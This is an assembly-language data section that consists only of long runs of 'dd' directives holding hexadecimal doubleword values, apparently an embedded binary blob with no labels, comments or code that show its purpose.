dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h
dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h
dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
dd 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h
dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh
dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh
dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h
dd 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h
dd 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h
dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch
dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h
dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h
dd 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h
dd 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh
dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h, 328230Eh
dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h
dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh
dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
dd 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh
dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh, 0B9071C09h
dd 5AD09F7Bh, 347480BBh
dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h
dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh
dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h
dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h
dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch
dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h
dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h
dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h
dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh
dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h
dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch
dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh
dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh, 48030800h
dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h
dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h
dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh
dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh
dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h
dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h
dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h
dd 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h
dd 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h, 0A593802Fh
dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h, 0D726812h
dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
dd 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh, 32A221E6h
dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch, 6FCCFB87h
dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh, 0B21A3CF9h
dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h
dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h, 6FE60B27h
dd 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah
dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h, 72DF70C4h
dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
dd 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh, 886F883h
dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh, 35441FA2h
dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
dd 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh
dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h
dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h
dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh
dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h
dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh
dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h
dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h
dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h
dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h
dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch
dd 204099B2h, 904210Ah
dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh
dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h
dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh
dd 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h
dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h
dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h
dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h
dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh
dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h
dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h
dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h
dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h
dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h
dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h
dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h
dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h
dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h
dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch
dd 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h
dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h
dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h
dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h
dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h
dd 5071025h, 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h
dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h
dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h
dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h
dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h
dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h
dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h
dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h
dd 86164839h, 524A1CEh, 6F315314h, 20C897Ah, 48202523h
dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h
dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h
dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh
dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h
dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h
dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah
dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh
dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h
dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h
dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h
dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h
dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h
dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h
dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h
dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h
dd 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h
dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh
dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h
dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh
dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch
dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h
dd 0B0683CE4h, 647585h, 0B80A7320h, 55357469h, 0C305E901h
dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh
dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h
dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h
dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h
dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h
dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh
dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h
dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h
dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h
dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh
dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h
dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h
dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h
dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh
dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h
dd 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h
dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h
dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh
dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh
dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h
dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h
dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h
dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h
dd 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h
dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h
dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h
dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h
dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h
dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h
dd 91590FEh, 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h
dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h
dd 20048D0h, 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh
dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h
dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h
dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h
dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h
dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
dd 68518376h
dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh
dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh
dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h
dd 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h
dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h
dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh
dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh
dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh
dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h
dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh
dd 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h
dd 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h
dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h
dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h
dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch
dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh
dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh
dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h
dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch
dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh
dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h
dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h
dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h
dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h
dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh
dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch
dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh
dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h
dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h
dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch
dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh
dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh
dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh
dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h
dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h
dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h
dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h
dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h
dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h
